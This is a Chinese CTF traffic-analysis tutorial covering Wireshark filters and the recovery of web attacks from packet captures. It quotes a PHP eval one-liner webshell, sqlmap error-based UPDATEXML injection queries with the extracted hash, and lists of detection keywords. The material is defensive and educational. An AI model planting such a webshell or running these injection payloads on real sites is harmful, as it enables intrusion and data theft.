Wireshark常见使用与CTF流量分析常见题型

0x00 前言

因为有一个有关流量分析的比赛,快要开始了。平时只做过一些简单的流量分析题,并没有系统的学习过流量分析的相关知识。趁着闲暇之余,学习一下。

0x01 Wireshark的常见使用

提到学习流量分析,又不得不学习一下Wireshark的常见使用,毕竟Wireshark是进行流量分析的一把利刃!
Wireshark的基本使用可简单分为数据包筛选数据包搜索数据包还原数据提取
Ctrl+M可标记流量包

1、数据包筛选

1.筛选ip
(1)源ip筛选
输入命令:ip.src == 地址
或者手动操作:点击任意一个符合筛选条件的数据包,找到IPv4下的Source字段。右键点击Source字段,作为过滤器应用 – 选中。
在这里插入图片描述
(2)目的ip筛选
输入命令:ip.dst == 地址
或者手动操作:点击任意一个符合筛选条件的数据包,找到IPv4下的Destination字段,右键点击Destination字段,作为过滤器应用 – 选中。

其他字段筛选与上面类似。
2.mac地址筛选
在这里插入图片描述
eth.dst == dc:fe:18:1a:62:58 筛选目标mac地址
eth.addr == ac:a0:16:83:41:41 筛选MAC地址
3.端口筛选
在这里插入图片描述
tcp.dstport == 80 筛选tcp协议的目标端口为80 的流量包
tcp.srcport == 80 筛选tcp协议的源端口为80 的流量包
udp.srcport == 80 筛选udp协议的源端口为80 的流量包
4.协议筛选
在这里插入图片描述
tcp 筛选协议为tcp的流量包
udp 筛选协议为udp的流量包
http 筛选协议为http的流量包
arp/icmp/ftp/dns/ip 筛选协议为arp/icmp/ftp/dns/ip的流量包
5.流量包长度筛选
在这里插入图片描述
udp.length==20 筛选长度为20的udp流量包
tcp.len >=20 筛选长度大于等于20的tcp流量包
ip.len==20 筛选长度为20的IP流量包
frame.len==20 筛选长度为20的整个流量包
6.http请求筛选
请求方法为GET:http.request.method=="GET" 筛选HTTP请求方法为GET的 流量包
请求方法为POST:http.request.method=="POST" 筛选HTTP请求方法为POST的流量包
在这里插入图片描述
指定URI:http.request.uri=="/media/system/images/arrow.png"筛选HTTP请求的URL为/media/system/images/arrow.png的流量包
uri中包含eval关键字:http.request.uri contains eval
在这里插入图片描述
在这里插入图片描述

请求或响应中包含特定内容:http contains "SQL" 筛选HTTP内容为SQL的流量包
在这里插入图片描述
响应状态码:http.response.code==500
在这里插入图片描述

2、数据包搜索

在wireshark界面Ctrl+F,可进行关键字搜索

支持正则表达式、字符串、十六进制等方式进行搜索,通常情况下直接使用字符串方式进行搜索。

搜索栏的左边,有分组列表分组详情分组字节流三个选项,分别对应wireshark界面的下边如图所示三个部分,搜索时选择不同的选项以指定搜索区域

在这里插入图片描述

3、数据包还原

wireshark中,右键存在追踪流的功能,可以将HTTP或TCP流量集合在一起并还原成原始数据
追踪流的功能使用方法
选中要还原的流量包,右键,选择追踪流TCP流/UPD流/SSL流/HTTP流
在这里插入图片描述
弹出的窗口会显示被还原的流量信息

4、数据提取

数据提取通过http传输(上传/下载)的文件内容
数据提取的方法
选中http文件传输流量包,在分组详情中找到data或者Line-based text data:text/html层,
鼠标右键点击 – 选中 导出分组字节流
在这里插入图片描述
菜刀下载文件的流量,需要删除分组字节流前开头和结尾的X@Y字符,否则下载的文件会出错。鼠标右键点击 – 选中 显示分组字节
在弹出的窗口中设置开始和结束的字节
点击save as按钮导出
(没找到菜刀下载文件的流量包,如果遇到在下图所示位置修改开始和结束字节,save as即可)
在这里插入图片描述

0x02 CTF流量分析常见题型

CTF常见题型主要分为流量包修复WEB流量包分析USB流量包分析其他流量包分析

1、流量包修复

题型:出现通过wireshark打开题目给的流量包后提示包异常的情况
在这里插入图片描述
解题思路
通过在线pacp包修复工具进行修复:

http://f00l.de/hacking/pcapfix.php

题目示例:第一届 “百度杯” 信息安全攻防总决赛 线上选拔赛:find the flag
(1)将下载的cap包通过在线pacp包修复工具修复成pcap包
在这里插入图片描述
(2)修复完毕后用wireshark打开,查找分组字节流-字符串-flag
在这里插入图片描述
(3)提示where is the flag,继续查看下一个包,发现将两个包中id对应的字段从右至左组合,正好是flag
在这里插入图片描述
在这里插入图片描述
依次查看,得到最终flag:flag{aha!_you_found_it!}

2、WEB流量包分析

典型的WEB攻击行为有:WEB扫描后台目录爆破后台账号爆破webshell上传SQL注入

1.Web扫描

题型:通过给出的流量包获取攻击者使用的WEB扫描工具。
解题思路
常见的WEB扫描器有Awvs,Netsparker,Appscan,Webinspect,Rsas(绿盟极光),Nessus,WebReaver,Sqlmap等。要识别攻击者使用的是哪一种扫描器,可通过wireshark筛选扫描器特征来得知。
相关命令http contains "扫描器特征值"
常见扫描器或者自动化工具的特征(指纹)
题目示例:安恒八月月赛流量分析:黑客使用的是什么扫描器? 提取码:q6ro
过滤扫描器的特征值
在这里插入图片描述
过滤之后发现明显的awvs的特征值,所以黑客使用的是awvs扫描器

2.后台目录爆破

题型:已知攻击者通过目录爆破的手段获取了网站的后台地址,请通过给出的流量包获取后台地址。
解题思路
要获取流量包中记录的后台地址,可通过wireshark筛选后台url特征来得知。
相关命令http contains "后台url特征"

登陆后台99%使用的是POST方法
后台目录爆破,捕获到数据包中会有很多扫描目录返回结果是404 Not Found
当遇到302重定向可能就是登录成功,可能就是扫描到的后台登录地址

题目示例:安恒八月月赛流量分析:黑客扫描到的后台登录地址是什么?提取码:q6ro

http contains "302"

所有的响应码是302的流量包可Ctrl+M标记,然后筛选http流量包,观察标记的上下流量包
得到黑客扫描到的后台登录地址是/admin/login.php?rec=login
在这里插入图片描述

3.后台账号爆破

题型:攻击者通过暴力破解获取了网站的后台登陆账号,通过给出的流量包获取正确的账号信息。
解题思路
WEB账号登陆页面通常采用POST方法请求,要获取流量包中记录的账号信息可通过wireshark筛选出POST请求和账号中的关键字如admin
相关命令http.request.method=="POST" && http contains "关键字"
题目示例:安恒八月月赛流量分析:黑客使用了什么账号密码登录了web后台?提取码:q6ro
因为在上一步得到登录地址带有login
所以筛选请求或响应中包含rec=login的流量包,并且是POST请求,所以筛选命令如下:

http.request.method=="POST" && http contains "rec=login"
#可加一条ip源地址筛选,因为黑客ip地址是192.168.94.59。即:
#http.request.method == "POST" && http contains "rec=login" && ip.src==192.168.94.59

在这里插入图片描述
得到黑客使用了账号admin密码admin!@#pass123登录了web后台

4.webshell上传

题型:攻击者上传了恶意webshell文件,通过给出的流量包还原出攻击者上传的webshll内容。
解题思路
webshell文件上传常采用POST方法请求,文件内容常见关键字evalsystemassert等,要获取流量包中记录的webshell可通过wireshark筛选出POST请求和关键字。
相关命令http.request.method=="POST" && http contains "关键字"
题目示例:安恒八月月赛流量分析:黑客上传的webshell文件名是?内容是什么?提取码:q6ro

http.request.method=="POST" && ip.src==192.168.94.59 && http contains "eval"

筛选后可以得到黑客上传的webshell文件名是a.php
点开筛选后的第二个流量包,发现actionz1的值是Base64编码后的
在这里插入图片描述
Base64解码actionz1的值,action解码结果没多大用,z1解码结果发现是木马路径
在这里插入图片描述
同时发现1234为传递值
在这里插入图片描述
根据action和z1等特征,可以基本判断出上边的流量包是菜刀连接木马所产生的。
题目是找到黑客上传的webshell文件名和文件内容,已经找到文件名。
于是猜测文件内容是一句话木马,继续过滤流量包

http contains "<?php @eval" #测试没找到
tcp contains "<?php @eval" #找到了,原因可能是tcp重传,导致http中没追踪到

在这里插入图片描述
然后追踪TCP流得到文件内容
在这里插入图片描述
所以文件名a.php内容是<?php @eval($_POST[1234]);?>
文件内容Base64编码得到PD9waHAgQGV2YWwoJF9QT1NUWzEyMzRdKTs/Pg==

5.SQL注入

题型1:攻击者进行SQL盲注,通过给出的流量包还原出攻击者盲注出的结果。
解题思路1
(1)过滤http协议,发现盲注过程
(2)导出盲注过程数据到文件保存
(3)通过Python脚本恢复攻击者得到的数据
题目示例1
题目描述:有黑客入侵了我们的网站,只有流量,让我们发现黑客窃取的数据,打开数据包,大致浏览发现为http攻击,仔细看下,发现是黑客盲注了数据库,偷走了数据。
题目链接 提取码:kdpv
(1)第一步,过滤http协议
在这里插入图片描述
发现典型的盲注特征。
(2)第二步,导出盲注过程数据到sqldata.txt文件
感觉直接在wireshark里不太容易分析,于是将文件导出(直接导出HTTP对象即可)
在这里插入图片描述
在这里插入图片描述
因盲注和返回的数据长度有关,用linux命令将url和数据长度提取出来,保存成sqldata.txt

ls -al | awk '{print $5,$9}' > ../sqldata.txt

在这里插入图片描述
在这里插入图片描述
上边图片所示sqldata.txt的文件内容,即是保存的结果。
(3)第三步,通过Python脚本恢复攻击者得到的数据

import re

f=open('./sqldata.txt','r')
data=[]
for x in f.readlines():
    '''恢复user()
    if ('user()' in x) and (x[0]=='2'):
        data.append(x.strip()[58:]) #1,1)))=114%23
    '''

    '''恢复database()
    if ('database()' in x) and (x[0]=='2'):
        data.append(x.strip()[62:])
    '''

    '''恢复flag
    if ('skyflag' in x) and (x[0]=='2'):
        data.append(x.strip()[110:])
    '''
sorted(data) #对所有可迭代的对象进行排序操作
#print(sorted(data))
res={}
for x in data:
    res[int(''.join(re.findall('^(.*),',x)))]=int(''.join(re.findall('=(.*)%',x)))
#print(res)
#{10: 108, 11: 104, 1: 114, 12: 111, 13: 115, 14: 116, 2: 111, 3: 111, 4: 116, 5: 64, 6: 108, 7: 111, 8: 99, 9: 97}
ress=''
for x in range(1,100):
    try:
        ress+=chr(res[x])
    except:
        pass
print(ress)

在这里插入图片描述
得到flag!

题型2:攻击者进行SQL盲注,通过盲注过程中的一些错误响应和过程获取一些信息。
解题思路2
过滤http协议,通过sql注入试探,发现注入过程。
根据目标站点数据库抛出的错误,得到一些基础信息(如:数据库表名前缀)
添加过滤,得到信息(如:数据库名和表名)。
在SQL注入中找寻登录密码。
题目示例2
相关命令

http
(ip.addr == ip地址1 || ip.addr == ip地址2 ) && http
(ip.addr == ip地址1 || ip.addr == ip地址2 ) && http contains "password" && http.request.method==POST
ip.dst == ip地址 && http contains "password"

2018.5.5 信息安全铁人三项赛数据赛:
黑客对URL的哪一个参数实施了SQL注入?
第一个受害主机网站数据库的表前缀(加上下划线 例如abc_)?
第一个受害主机网站数据库的名字?
Joomla后台管理员的密码是多少?

提取码:nux4

(1)过滤http协议,看到202.1.1.2192.168.1.8进行了爆破
在这里插入图片描述
从上图可得到黑客对URL的list[select]参数实施了SQL注入,并且可以确定是使用SQLmap进行注入的。
(2)根据回显内容,可以看到目标站点数据库抛出的错误
在这里插入图片描述

FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users

得到第一个受害主机网站数据库的表前缀为ajtuc_
(3)因为202.1.1.2192.168.1.8进行了爆破,所以添加过滤

(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http

查看最后一次注入的payload的响应结果,得到
在这里插入图片描述
得到第一个受害主机网站数据库的名字为joomla
(4)为寻找后台管理员密码,再次添加过滤

第一种方法分析黑客进行SQL注入的数据可以知道黑客获得的数据。
第二种黑客有可能会登录joomla的后台。如果能找到黑客登录时的流量,就能直接获取管理员密码。

因为登录往往是POST传参,所以

(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http.request.method==POST

在这里插入图片描述
发现关键字password,所以更改过滤

(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http contains "password"

在这里插入图片描述
得到4条报错信息

Status: 500 XPATH syntax error: 'qqzvqpasswordqqkkq' SQL=SELECT (UPDATEXML(5441,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(column_name AS CHAR),0x20)),1,22) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x616a7475635f7573657273 AND table_schema=0x6a6f6f6d6c61 LIMIT 4,1),0x71716b6b71),5764)),uc.name AS editor FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`
Status: 500 XPATH syntax error: 'qqzvq$2y$10$lXujU7XaUviJDigqqkkq' SQL=SELECT (UPDATEXML(5928,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),1,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),7096)),uc.name AS editor FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`
Status: 500 XPATH syntax error: 'qqzvqFMzKy6.wx7EMCBqpzrJdn7qqkkq' SQL=SELECT (UPDATEXML(3613,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),23,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),7939)),uc.name AS editor FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`
Status: 500 XPATH syntax error: 'qqzvqzi/8B2QRD7qIlDJeqqkkq' SQL=SELECT (UPDATEXML(8949,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),45,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),3079)),uc.name AS editor FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`

看到数据

qqzvqpasswordqqkkq
qqzvq$2y$10$lXujU7XaUviJDigqqkkq
qqzvqFMzKy6.wx7EMCBqpzrJdn7qqkkq
qqzvqzi/8B2QRD7qIlDJeqqkkq

发现应该是添加了前缀qqzvq和后缀qqkkq。当然也可以通过观察sql构造发现添加的前缀和后缀:

0x71717a7671 解码-> qqzvq
0x71716b6b71 解码-> qqkkq

去掉前缀和后缀得到

password
$2y$10$lXujU7XaUviJDig
FMzKy6.wx7EMCBqpzrJdn7
zi/8B2QRD7qIlDJe

password可能不是密码,剩下的组合在一起可能是加密后的密码(因为看飘零师傅说组合在一起的是加密的密码)

$2y$10$lXujU7XaUviJDigFMzKy6.wx7EMCBqpzrJdn7zi/8B2QRD7qIlDJe

于是

1.黑客攻击的第一个受害主机的网卡IP地址?  192.168.1.8
2.黑客对URL的哪一个参数实施了SQL注入?  list[select]
3.第一个受害主机网站数据库的表前缀(加上下划线 例如abc_)?  ajtuc_
4.第一个受害主机网站数据库的名字?  joomla
5.Joomla后台管理员的密码是多少?  $2y$10$lXujU7XaUviJDigFMzKy6.wx7EMCBqpzrJdn7zi/8B2QRD7qIlDJe

0x03 常用过滤|扫描器指纹|后台地址|筛选技巧总结

1、常用Wireshark过滤命令

#1、过滤ip
ip.addr == 地址 #ip
ip.src == 地址 #源ip
ip.dst == 地址 #目的ip

#2、过滤mac
eth.addr == ac:a0:16:83:41:41 #mac
eth.src == ac:a0:16:83:41:41 #源mac
eth.dst == dc:fe:18:1a:62:58 #目标mac

#3、过滤协议
tcp/udp/http/arp/icmp/ftp/dns/ip #协议为tcp/udp/http/arp/icmp/ftp/dns/ip的流量包

#4、过滤端口
tcp.port eq 80  #tcp协议80端口
tcp.srcport == 80  #tcp协议的源端口为80 的流量包
tcp.dstport == 80  #tcp协议的目标端口为80 的流量包
udp.port eq 80  #udp协议80端口
udp.srcport == 80  #udp协议的源端口为80 的流量包
udp.dstport == 80  #udp协议的目标端口为80 的流量包

#5、http请求
#请求方法
http.request.method=="GET" #请求方法为GET
http.request.method=="POST" #请求方法为POST
#请求和响应内容
http contains "关键字" #请求或响应中包含特定内容
#响应状态码
http.response.code==500

http.request.uri=="/media/system/images/arrow.png" #指定URI,HTTP请求的URL为/media/system/images/arrow.png的流量包
http.request.uri contains eval #uri中包含eval关键字

#6、流量包长度
udp.length==20  #长度为20的udp流量包
tcp.len >=20  #长度大于等于20的tcp流量包
ip.len==20  #长度为20的IP流量包
frame.len==20 #长度为20的整个流量包

2、常见扫描器指纹(特征值)

1、awvs:acunetix
2、netsparker:netsparker
3、appscan:Appscan
4、nessus:nessus
5、sqlmap:sqlmap

3、常见后台地址

1、admin
2、manager
3、login
4、system
5、Disallow #robots.txt文件,禁止搜索引擎爬行收录选项

4、常用筛选技巧

漏洞扫描-->漏洞扫描器的特征值
目录扫描-->大量响应码404,常见url路径关键字
sql注入-->大量select..,大量响应码50x
端口扫描-->连续同一个ip的多端口请求或多个ip的几个相同端口请求
一句话木马-->关键字eval,assert,<?php eval
文件上传-->木马路径uploads,upload等等
文件下载-->下载关键字install等
后台账号登录-->请求方法为POST,账号登录后台路径关键字admin,登录账号关键字login
内网主机查询mysql相关流量包-->tcp contains "mysql" && mysql
获取当前目录下的文件列表-->关键字dir或ls

0x04 后记

本次学习Wireshark和流量分析知识,几乎照搬参考博客内容。主要对其中涉及的操作和题目进行了复现。
通过学习,了解了Wireshark常见使用CTF流量分析常见题型的解题方法
USB流量包和其他流量包相关知识和复现,另起一篇总结
参考博客:
CTF流量分析之wireshark使用
CTF流量分析之题型深度解析
CTF web题型流量分析(ctf之流量分析)第三课 工具使用-流量分析
安恒八月月赛流量分析writeup
流量分析-CTF题目实战
2018.5.18信息安全铁人三项赛数据赛题解


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 qwzf1024@qq.com

×

喜欢就点赞,疼爱就打赏